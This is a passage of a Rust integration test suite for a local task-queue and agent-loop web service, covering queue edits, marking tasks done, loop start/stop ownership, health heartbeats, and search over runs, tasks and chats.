15799 assert_eq!(res.status, 400, "{}", res.body);
15800 assert!(
15801 res.json()["error"]
15802 .as_str()
15803 .is_some_and(|e| e.contains("running")),
15804 "{}",
15805 res.body
15806 );
15807 assert_eq!(
15808 queue.get(&task.id).expect("reload").priority,
15809 0,
15810 "the refused write must not partially apply"
15811 );
15812 }
15813
15814 #[tokio::test]
15815 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
15816 let f = Fixture::start().await;
15817 let queue = f.queue();
15818 let mut task = Task::new(
15819 "old title".to_owned(),
15820 "old instruction".to_owned(),
15821 PathBuf::from("/repo/magi"),
15822 Source::Agent {
15823 run: "20260101-000000-beef".to_owned(),
15824 node: "implement".to_owned(),
15825 },
15826 );
15827 task.runs.push("20260101-000000-beef".to_owned());
15828 queue.put(&mut task).expect("file the task");
15829 let created_at = task.created_at;
15830
15831 let edited = f
15832 .post(
15833 &format!("/api/queue/{}/edit", task.id),
15834 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
15835 )
15836 .await;
15837 assert_eq!(edited.status, 200, "{}", edited.body);
15838 let body = edited.json();
15839 assert_eq!(body["title"], "new title");
15840 assert_eq!(body["instruction"], "new instruction");
15841 assert_eq!(body["id"], task.id, "editing must not mint a new id");
15842 assert_eq!(body["created_at"], created_at.to_string());
15843 assert_eq!(
15844 body["source"]["kind"], "agent",
15845 "editing a task an agent filed must not turn it human: {body}"
15846 );
15847 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
15848
15849 let reloaded = queue.get(&task.id).expect("reload");
15850 assert_eq!(reloaded.title, "new title");
15851 assert_eq!(reloaded.instruction, "new instruction");
15852 }
15853
15854 #[tokio::test]
15855 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
15856 let tmp = TempDir::new().expect("tempdir");
15859 let repo = tmp.path().join("repo");
15860 std::fs::create_dir_all(&repo).expect("repo dir");
15861 let judge = MOCK_AGENT_TOML.replace(
15862 "printf ok",
15863 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
15864 );
15865 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
15866 let f = Fixture::with_repo(repo.clone()).await;
15867 let queue = f.queue();
15868 let mut owner = Task::new(
15869 "owner".to_owned(),
15870 "review it".to_owned(),
15871 repo.clone(),
15872 Source::Human,
15873 );
15874 owner.review_branch = Some("magi/ab12/A".to_owned());
15875 queue.put(&mut owner).expect("file the owner");
15876 let mut task = Task::new(
15877 "draft".to_owned(),
15878 "old".to_owned(),
15879 repo.clone(),
15880 Source::Human,
15881 );
15882 queue.put(&mut task).expect("file the draft");
15883 let url = format!("/api/queue/{}/edit", task.id);
15884
15885 let refused = f
15886 .post(
15887 &url,
15888 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
15889 )
15890 .await;
15891 assert_eq!(refused.status, 409, "{}", refused.body);
15892 let msg = refused.json()["error"]
15893 .as_str()
15894 .unwrap_or_default()
15895 .to_owned();
15896 assert!(
15897 msg.contains("magi/ab12/A") && msg.contains("force"),
15898 "{msg}"
15899 );
15900 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
15901
15902 let forced = f
15903 .post(
15904 &url,
15905 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
15906 )
15907 .await;
15908 assert_eq!(forced.status, 200, "{}", forced.body);
15909 }
15910
15911 #[tokio::test]
15912 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
15913 let f = Fixture::start().await;
15914 let queue = f.queue();
15915 let mut task = Task::new(
15916 "in flight".to_owned(),
15917 "do not touch".to_owned(),
15918 PathBuf::from("/repo/magi"),
15919 Source::Human,
15920 );
15921 task.start("20260902-140502-bbbb".to_owned());
15922 queue.put(&mut task).expect("file the task");
15923
15924 let res = f
15925 .post(
15926 &format!("/api/queue/{}/edit", task.id),
15927 Some(r#"{"title":"x","instruction":"y"}"#),
15928 )
15929 .await;
15930 assert_eq!(res.status, 400, "{}", res.body);
15931 assert!(
15932 res.json()["error"]
15933 .as_str()
15934 .is_some_and(|e| e.contains("running")),
15935 "{}",
15936 res.body
15937 );
15938 assert_eq!(
15939 queue.get(&task.id).expect("reload").instruction,
15940 "do not touch",
15941 "the refused edit must not change the file"
15942 );
15943 }
15944
15945 #[tokio::test]
15946 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
15947 let f = Fixture::start().await;
15948 let queue = f.queue();
15949 let mut task = Task::new(
15950 "busy".to_owned(),
15951 "Running right now".to_owned(),
15952 PathBuf::from("/repo/magi"),
15953 Source::Human,
15954 );
15955 queue.put(&mut task).expect("file the task");
15956 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
15957
15958 let priority = f
15959 .post(
15960 &format!("/api/queue/{}/priority", task.id),
15961 Some(r#"{"priority":9}"#),
15962 )
15963 .await;
15964 assert_eq!(priority.status, 409, "{}", priority.body);
15965
15966 let edit = f
15967 .post(
15968 &format!("/api/queue/{}/edit", task.id),
15969 Some(r#"{"title":"x","instruction":"y"}"#),
15970 )
15971 .await;
15972 assert_eq!(edit.status, 409, "{}", edit.body);
15973 }
15974
15975 #[tokio::test]
15976 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
15977 let f = Fixture::start().await;
15978 let queue = f.queue();
15979 let mut task = Task::new(
15980 "shipped by hand".to_owned(),
15981 "merged outside the loop".to_owned(),
15982 PathBuf::from("/repo/magi"),
15983 Source::Agent {
15984 run: "20260101-000000-b455".to_owned(),
15985 node: "implement".to_owned(),
15986 },
15987 );
15988 task.runs.push("20260101-000000-b455".to_owned());
15989 task.runs.push("20260101-000000-9af4".to_owned());
15990 queue.put(&mut task).expect("file the task");
15991 let created_at = task.created_at;
15992
15993 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15994 assert_eq!(done.status, 200, "{}", done.body);
15995 assert_eq!(done.json()["status_str"], "done");
15996
15997 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
15998 assert_eq!(
15999 reloaded.runs,
16000 ["20260101-000000-b455", "20260101-000000-9af4"]
16001 );
16002 assert_eq!(
16003 reloaded.source,
16004 Source::Agent {
16005 run: "20260101-000000-b455".to_owned(),
16006 node: "implement".to_owned(),
16007 }
16008 );
16009 assert_eq!(reloaded.created_at, created_at);
16010 }
16011
16012 #[tokio::test]
16013 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
16014 let f = Fixture::start().await;
16019 let queue = f.queue();
16020 let mut task = Task::new(
16021 "landed while held".to_owned(),
16022 "x".to_owned(),
16023 PathBuf::from("/repo/magi"),
16024 Source::Human,
16025 );
16026 task.hold_manual(Some("waiting on 3ed9".to_owned()));
16027 queue.put(&mut task).expect("file the held task");
16028
16029 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16030 assert_eq!(done.status, 200, "{}", done.body);
16031 assert_eq!(done.json()["status_str"], "done");
16032 assert!(
16033 done.json()["hold_reason"].is_null(),
16034 "a done task cannot still be waiting on something: {}",
16035 done.body
16036 );
16037 }
16038
16039 #[tokio::test]
16040 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
16041 let f = Fixture::start().await;
16046 let queue = f.queue();
16047 let runs = f.runs();
16048 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
16049 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
16053
16054 let mut task = Task::new(
16055 "landed by hand".to_owned(),
16056 "x".to_owned(),
16057 PathBuf::from("/repo/magi"),
16058 Source::Human,
16059 );
16060 task.runs.push("20260101-000000-doa1".to_owned());
16061 task.runs.push("20260101-000000-doa2".to_owned());
16062 queue.put(&mut task).expect("file the task");
16063
16064 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16065 assert_eq!(done.status, 200, "{}", done.body);
16066
16067 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
16068 .expect("run still on disk under this fixture's own home");
16069 assert_eq!(
16070 reloaded_run.status,
16071 RunStatus::Superseded,
16072 "closing the task by hand must relabel the earlier blocked attempt exactly \
16073 like the loop's own settle path does"
16074 );
16075 }
16076
16077 #[tokio::test]
16078 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
16079 let f = Fixture::start().await;
16084 let queue = f.queue();
16085 let runs = f.runs();
16086 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
16087 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
16088
16089 let mut task = Task::new(
16090 "closed with nothing actually landed".to_owned(),
16091 "x".to_owned(),
16092 PathBuf::from("/repo/magi"),
16093 Source::Human,
16094 );
16095 task.runs.push("20260101-000000-dob1".to_owned());
16096 task.runs.push("20260101-000000-dob2".to_owned());
16097 queue.put(&mut task).expect("file the task");
16098
16099 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16100 assert_eq!(done.status, 200, "{}", done.body);
16101
16102 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
16103 .expect("run still on disk under this fixture's own home");
16104 assert_eq!(
16105 reloaded_run.status,
16106 RunStatus::Blocked,
16107 "the last recorded attempt never landed, so the earlier one must not be \
16108 relabelled as superseded by it"
16109 );
16110 }
16111
16112 #[tokio::test]
16113 async fn unknown_ids_are_json_not_found_on_both_stores() {
16114 let f = Fixture::start().await;
16115
16116 let run = f.get("/api/runs/nosuchrun").await;
16117 let task = f.post("/api/queue/nosuchtask/hold", None).await;
16118
16119 assert_eq!(run.status, 404);
16120 assert_eq!(task.status, 404);
16121 assert!(
16122 run.json()["error"]
16123 .as_str()
16124 .is_some_and(|e| e.contains("run")),
16125 "the error names what was not found: {}",
16126 run.body
16127 );
16128 assert!(
16129 task.json()["error"]
16130 .as_str()
16131 .is_some_and(|e| e.contains("task")),
16132 "the error names what was not found: {}",
16133 task.body
16134 );
16135 }
16136
16137 #[tokio::test]
16138 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
16139 let f = Fixture::start().await;
16140
16141 let missing = f.get("/api/health").await.json();
16142 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
16143
16144 write_daemon(
16145 f.home.path(),
16146 Timestamp::now() - jiff::SignedDuration::from_secs(60),
16147 );
16148 let stale = f.get("/api/health").await.json();
16149 assert_eq!(
16150 stale["daemon"]["running"], false,
16151 "a minute without a heartbeat is a dead daemon, not a busy one"
16152 );
16153 assert!(
16154 stale["daemon"]["stale_for_secs"]
16155 .as_i64()
16156 .is_some_and(|s| s >= 55),
16157 "staleness is reported so the UI can say how long: {stale}"
16158 );
16159
16160 write_daemon(f.home.path(), Timestamp::now());
16161 let fresh = f.get("/api/health").await.json();
16162 assert_eq!(fresh["daemon"]["running"], true);
16163 assert_eq!(fresh["daemon"]["idle"], false);
16164 assert_eq!(fresh["daemon"]["pid"], 4242);
16165 assert_eq!(fresh["daemon"]["completed"], 7);
16166 assert_eq!(
16167 fresh["daemon"]["current"][0]["task"],
16168 "20260902-140501-aaaa"
16169 );
16170 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
16171 }
16172
16173 #[tokio::test]
16174 async fn the_loop_is_not_running_until_something_starts_it() {
16175 let f = Fixture::start().await;
16176
16177 let view = f.get("/api/loop").await.json();
16178 assert_eq!(view["running"], false);
16179 assert_eq!(
16180 view["owned"], false,
16181 "nobody owns a loop that does not exist: {view}"
16182 );
16183 assert_eq!(view["stopping"], false);
16184 assert_eq!(view["last_error"], Value::Null);
16185 assert_eq!(view["daemon"]["running"], false);
16186 assert_eq!(
16187 view["repo"], "/repo/magi",
16188 "the repository a start would use, named before it is started"
16189 );
16190 }
16191
16192 #[tokio::test]
16193 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
16194 let f = Fixture::start().await;
16195
16196 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16197 assert_eq!(res.status, 200, "{}", res.body);
16198 let view = res.json();
16199 assert_eq!(view["running"], true);
16200 assert_eq!(
16201 view["owned"], true,
16202 "the loop the UI started is the UI's own to stop: {view}"
16203 );
16204 assert_eq!(
16205 view["merge"],
16206 Value::Null,
16207 "no override was given, so each repository's own config decides"
16208 );
16209
16210 let health = f.get("/api/health").await.json();
16214 assert_eq!(health["loop"]["running"], true, "{health}");
16215 assert_eq!(health["loop"]["owned"], true, "{health}");
16216
16217 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16218 }
16219
16220 #[tokio::test]
16221 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
16222 let f = Fixture::start().await;
16223 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16224 assert_eq!(first.status, 200, "{}", first.body);
16225
16226 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16227 assert_eq!(
16228 again.status, 409,
16229 "two loops on one queue race for the same claims: {}",
16230 again.body
16231 );
16232 assert!(
16233 again.json()["error"]
16234 .as_str()
16235 .is_some_and(|e| e.contains("already running the loop")),
16236 "the refusal has to say why: {}",
16237 again.body
16238 );
16239 assert_eq!(
16240 f.get("/api/loop").await.json()["running"],
16241 true,
16242 "and the loop that was already running is untouched by it"
16243 );
16244
16245 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16246 }
16247
16248 #[tokio::test]
16249 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
16250 let f = Fixture::start().await;
16251 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16252
16253 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16254 assert_eq!(
16255 res.status, 200,
16256 "the answer must not wait for the loop: a run in flight is tens of \
16257 minutes and the operator is holding a phone: {}",
16258 res.body
16259 );
16260
16261 let view = settled(&f, |v| v["running"] == false).await;
16262 assert_eq!(view["owned"], false);
16263 assert_eq!(
16264 view["stopping"], false,
16265 "a loop that has stopped is not still stopping: {view}"
16266 );
16267 assert_eq!(
16268 view["last_error"],
16269 Value::Null,
16270 "a loop that was asked to stop did not fail: {view}"
16271 );
16272
16273 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16276 assert_eq!(twice.status, 200, "{}", twice.body);
16277 }
16278
16279 #[tokio::test]
16280 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
16281 let f = Fixture::start().await;
16282 write_daemon(f.home.path(), Timestamp::now());
16285
16286 let view = f.get("/api/loop").await.json();
16287 assert_eq!(view["running"], false, "not in this process: {view}");
16288 assert_eq!(view["owned"], false, "and not this process's to control");
16289 assert_eq!(
16290 view["daemon"]["running"], true,
16291 "but a loop is alive somewhere, which is what the UI must say"
16292 );
16293 assert_eq!(view["daemon"]["pid"], 4242);
16294
16295 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
16296 let res = f.post("/api/loop", Some(body)).await;
16297 assert_eq!(
16298 res.status, 409,
16299 "neither button may pretend to work on someone else's loop: {}",
16300 res.body
16301 );
16302 assert!(
16303 res.json()["error"]
16304 .as_str()
16305 .is_some_and(|e| e.contains("4242")),
16306 "the refusal has to name the process the operator must go to: {}",
16307 res.body
16308 );
16309 }
16310 assert_eq!(
16311 f.get("/api/loop").await.json()["running"],
16312 false,
16313 "and the refusal started nothing"
16314 );
16315 }
16316
16317 #[tokio::test]
16318 async fn a_stale_status_file_is_not_a_foreign_owner() {
16319 let f = Fixture::start().await;
16320 write_daemon(
16321 f.home.path(),
16322 Timestamp::now() - jiff::SignedDuration::from_secs(60),
16323 );
16324
16325 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16326 assert_eq!(
16327 res.status, 200,
16328 "a daemon killed a minute ago must not lock the loop out of its \
16329 own home for good: {}",
16330 res.body
16331 );
16332 assert_eq!(res.json()["running"], true);
16333
16334 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16335 }
16336
16337 #[tokio::test]
16338 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
16339 let f = Fixture::start().await;
16340 let before = f.get("/api/health").await.json()["loop_rev"]
16341 .as_u64()
16342 .expect("a loop revision");
16343
16344 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16345
16346 let after = f.get("/api/health").await.json()["loop_rev"]
16347 .as_u64()
16348 .expect("a loop revision");
16349 assert!(
16350 after > before,
16351 "the loop is in-process state, so this counter is the only thing \
16352 that tells a second device the first one started it: {before} -> \
16353 {after}"
16354 );
16355
16356 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16357 }
16358
16359 #[tokio::test]
16360 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
16361 let f = Fixture::with_loop(launch_broken).await;
16362
16363 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16364 assert_eq!(
16365 res.status, 200,
16366 "starting it is not the failure: {}",
16367 res.body
16368 );
16369
16370 let view = settled(&f, |v| v["last_error"].is_string()).await;
16371 assert_eq!(
16372 view["running"], false,
16373 "a loop that died must not read as running, or the operator has \
16374 nothing to press: {view}"
16375 );
16376 assert_eq!(view["owned"], false);
16377 assert!(
16378 view["last_error"]
16379 .as_str()
16380 .is_some_and(|e| e.contains("read-only file system")),
16381 "the phone is where a loop that died at 3am is visible: {view}"
16382 );
16383
16384 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16387 assert_eq!(again.status, 200, "{}", again.body);
16388 assert!(
16389 again.json()["last_error"]
16390 .as_str()
16391 .is_none_or(|e| !e.contains("read-only file system")),
16392 "a fresh start does not keep showing why the last one died: {}",
16393 again.body
16394 );
16395 }
16396
16397 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
16409 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
16410 let home = TempDir::new().expect("temp home");
16411 let runs = home.path().join("runs");
16412 std::fs::create_dir_all(&runs).expect("runs dir");
16413 let ui = Ui::new(
16414 Queue::at(home.path().join("queue")),
16415 Questions::at(home.path().join("questions")),
16416 Talks::at(home.path().join("talks")),
16417 runs,
16418 home.path().to_path_buf(),
16419 PathBuf::from("/repo/magi"),
16420 )
16421 .with_worktrees_root(home.path().join("wt"))
16422 .with_launch(launch_knocking_on_the_way_out);
16423 let looping = ui.looping();
16424 let turns = ui.turns();
16425 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
16426 .await
16427 .expect("bind loopback");
16428 let addr = listener.local_addr().expect("local addr");
16429 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
16430 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
16431
16432 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
16433 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
16434
16435 let bound = std::sync::Mutex::new(None);
16450 hand_over(
16451 home.path(),
16452 &looping,
16453 &turns,
16454 &|_: &[String]| Duration::from_secs(5),
16455 served,
16456 |_| {
16457 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
16458 let attempt = loop {
16459 match std::net::TcpListener::bind(addr) {
16460 Ok(l) => {
16461 drop(l);
16462 break Ok(());
16463 }
16464 Err(e)
16465 if e.kind() == std::io::ErrorKind::AddrInUse
16466 && std::time::Instant::now() < deadline =>
16467 {
16468 std::thread::sleep(std::time::Duration::from_millis(10));
16469 }
16470 Err(e) => break Err(e.to_string()),
16471 }
16472 };
16473 *bound.lock().expect("bound") = Some(attempt);
16474 Ok(1)
16475 },
16476 )
16477 .await
16478 .expect("hand over");
16479
16480 assert_eq!(
16481 *PARK_HEARD.lock().expect("park heard"),
16482 Some(200),
16483 "the deck must answer while the loop is parking"
16484 );
16485 let attempt = bound
16486 .lock()
16487 .expect("bound")
16488 .take()
16489 .expect("the successor was started");
16490 assert!(
16491 attempt.is_ok(),
16492 "and the address must be free by the time it is: {attempt:?}"
16493 );
16494 }
16495
16496 #[tokio::test]
16497 async fn a_newer_daemon_status_file_still_renders() {
16498 let f = Fixture::start().await;
16499 std::fs::write(
16502 f.home.path().join("daemon.json"),
16503 serde_json::json!({
16504 "schema": 2,
16505 "updated_at": Timestamp::now().to_string(),
16506 "idle": true,
16507 "surprise": { "nested": [1, 2, 3] },
16508 })
16509 .to_string(),
16510 )
16511 .expect("write daemon.json");
16512
16513 let health = f.get("/api/health").await;
16514
16515 assert_eq!(health.status, 200);
16516 assert_eq!(health.json()["daemon"]["running"], true);
16517 }
16518
16519 #[tokio::test]
16520 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
16521 let f = Fixture::start().await;
16522 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16523 let broken = f.runs().join("20260902-140502-bad");
16524 std::fs::create_dir_all(&broken).expect("run dir");
16525 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16526
16527 let list = f.get("/api/runs").await;
16528 let detail = f.get("/api/runs/20260902-140502-bad").await;
16529
16530 assert_eq!(list.status, 200);
16531 let listed = list.json();
16532 let ids: Vec<&str> = listed
16533 .as_array()
16534 .expect("an array")
16535 .iter()
16536 .map(|r| r["id"].as_str().expect("an id"))
16537 .collect();
16538 assert_eq!(
16539 ids,
16540 vec!["20260902-140501-good"],
16541 "one unreadable run must not cost the operator the whole history"
16542 );
16543 assert_eq!(detail.status, 500);
16544 assert!(
16545 detail.json()["error"]
16546 .as_str()
16547 .is_some_and(|e| e.contains("run.json")),
16548 "the failure names the file to look at: {}",
16549 detail.body
16550 );
16551 let health = f.get("/api/health").await;
16555 assert_eq!(health.json()["runs_unreadable"], 1);
16556 }
16557
16558 #[tokio::test]
16560 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
16561 let f = Fixture::start().await;
16562 let runs = f.runs();
16563 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
16564 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
16565 let path = runs.join("20260902-140502-bbbb").join("run.json");
16568 let mut v: serde_json::Value =
16569 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16570 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
16571 std::fs::write(&path, v.to_string()).unwrap();
16572 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
16573 std::fs::write(
16574 runs.join("20260902-140503-cccc").join("run.json"),
16575 "{ not json",
16576 )
16577 .unwrap();
16578
16579 let res = f.get("/api/search?scope=runs&q=quokka").await;
16580 assert_eq!(res.status, 200, "{}", res.body);
16581 let v = res.json();
16582 assert_eq!(v["total"], 1, "{v}");
16583 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
16584 assert_eq!(v["hits"][0]["field"], "text");
16585 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
16586 let parts = v["hits"][0]["snippet"].as_array().unwrap();
16587 assert!(
16588 parts
16589 .iter()
16590 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
16591 "{v}"
16592 );
16593 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
16594 assert_eq!(
16595 flat, "The Quokka leaks across threads",
16596 "whitespace is collapsed"
16597 );
16598
16599 let both = f
16601 .get("/api/search?scope=runs&q=MOBILE%20quokka")
16602 .await
16603 .json();
16604 assert_eq!(both["total"], 1, "{both}");
16605 let neither = f
16606 .get("/api/search?scope=runs&q=quokka%20zebra")
16607 .await
16608 .json();
16609 assert_eq!(neither["total"], 0, "{neither}");
16610 let stmt = f
16612 .get("/api/search?scope=runs&q=mobile%20first")
16613 .await
16614 .json();
16615 assert_eq!(stmt["total"], 2, "{stmt}");
16616 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
16617 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
16618 }
16619
16620 #[test]
16621 fn snippet_ignores_terms_longer_than_the_field() {
16622 let terms = ["ok".to_owned(), "elephant".to_owned()];
16623 let parts = snippet_of("ok", &terms);
16624 assert_eq!(
16625 parts,
16626 vec![SnippetPart {
16627 text: "ok".to_owned(),
16628 hit: true
16629 }]
16630 );
16631 }
16632
16633 #[test]
16634 fn snippet_marks_matches_longer_than_the_window() {
16635 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
16636 let hit_len = |parts: &[SnippetPart]| -> usize {
16637 parts
16638 .iter()
16639 .filter(|p| p.hit)
16640 .map(|p| p.text.chars().count())
16641 .sum()
16642 };
16643 let total =
16644 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
16645
16646 let long = "a".repeat(120);
16647 let parts = snippet_of(&long, std::slice::from_ref(&long));
16648 assert!(hit_len(&parts) > 0, "{parts:?}");
16649 assert!(total(&parts) <= cap);
16650
16651 let ja = "あ".repeat(130);
16652 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
16653 assert!(hit_len(&parts) > 0, "{parts:?}");
16654 assert!(total(&parts) <= cap);
16655
16656 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
16658 let term = format!("ab{}", "c".repeat(100));
16659 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
16660 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
16661 assert!(total(&parts) <= cap);
16662
16663 let text = format!("{}z", "a".repeat(119));
16665 let parts = snippet_of(&text, &["a".repeat(120)]);
16666 assert_eq!(hit_len(&parts), 0, "{parts:?}");
16667 }
16668
16669 #[tokio::test]
16670 async fn search_caps_hits_and_snippet_length() {
16671 let f = Fixture::start().await;
16672 let runs = f.runs();
16673 for n in 0..(SEARCH_MAX_HITS + 5) {
16674 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
16675 }
16676 let v = f.get("/api/search?scope=runs&q=web").await.json();
16677 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
16678 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
16679 assert_eq!(v["truncated"], true);
16680 assert!(
16682 v["hits"]
16683 .as_array()
16684 .unwrap()
16685 .iter()
16686 .all(|h| h["run"]["status"] == "merged")
16687 );
16688
16689 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
16690 let parts = snippet_of(&long, &["needle".to_owned()]);
16691 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
16692 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
16693 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
16694 }
16695
16696 #[tokio::test]
16697 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
16698 let f = Fixture::start().await;
16699 let queue = f.queue();
16700 let mut t = Task::new(
16701 "short title".to_owned(),
16702 "line one\nthe hidden Armadillo detail".to_owned(),
16703 PathBuf::from("/repo/magi"),
16704 Source::Agent {
16705 run: "r1".to_owned(),
16706 node: "chat".to_owned(),
16707 },
16708 );
16709 t.last_error = Some("disk full on /tmp".to_owned());
16710 queue.put(&mut t).expect("file the task");
16711
16712 for (q, want) in [
16713 ("armadillo", 1),
16714 ("disk%20FULL", 1),
16715 ("chat", 1),
16716 ("queued", 1),
16717 ("short%20nothing", 0),
16718 ] {
16719 let v = f
16720 .get(&format!("/api/search?scope=tasks&q={q}"))
16721 .await
16722 .json();
16723 assert_eq!(v["total"], want, "{q}: {v}");
16724 }
16725 for bad in [
16726 "/api/search?scope=tasks&q=",
16727 "/api/search?scope=tasks&q=%20",
16728 "/api/search?scope=chats&q=",
16729 "/api/search?scope=chats&q=%20",
16730 "/api/search?scope=nope&q=a",
16731 "/api/search?q=a",
16732 ] {
16733 assert_eq!(f.get(bad).await.status, 400, "{bad}");
16734 }
16735 }
16736
16737 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
16739 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
16740 .expect("seat value");
16741 let turns: Vec<serde_json::Value> = turns
16742 .iter()
16743 .map(|(who, body)| {
16744 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
16745 })
16746 .collect();
16747 let doc = serde_json::json!({
16748 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
16749 "status": status, "turns": turns,
16750 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
16751 "seat": seat,
16752 });
16753 let dir = f.home.path().join("talks");
16754 std::fs::create_dir_all(&dir).expect("talks dir");
16755 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
16756 }
16757
16758 #[tokio::test]
16759 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
16760 let f = Fixture::start().await;
16761 write_talk(
16762 &f,
16763 "20260901-000001-aaaa",
16764 "open",
16765 &[
16766 (
16767 "operator",
16768 "\n Why does the Pangolin cache expire?\nsecond line",
16769 ),
16770 ("agent", "Because the TTL is thirty seconds."),
16771 ],
16772 );
16773 write_talk(
16774 &f,
16775 "20260901-000002-bbbb",
16776 "closed",
16777 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
16778 );
16779 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
16780
16781 let search = |q: &'static str| {
16782 let f = &f;
16783 async move {
16784 f.get(&format!("/api/search?scope=chats&q={q}"))
16785 .await
16786 .json()
16787 }
16788 };
16789
16790 let v = search("PANGOLIN").await;
16791 assert_eq!(v["scope"], "chats");
16792 assert_eq!(v["total"], 1, "{v}");
16793 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
16794 assert_eq!(v["hits"][0]["field"], "title");
16795 assert_eq!(v["unreadable"], 1, "{v}");
16796 let marked: Vec<&str> = v["hits"][0]["snippet"]
16797 .as_array()
16798 .unwrap()
16799 .iter()
16800 .filter(|p| p["hit"] == true)
16801 .map(|p| p["text"].as_str().unwrap())
16802 .collect();
16803 assert_eq!(marked, ["Pangolin"]);
16804
16805 let v = search("zebra").await;
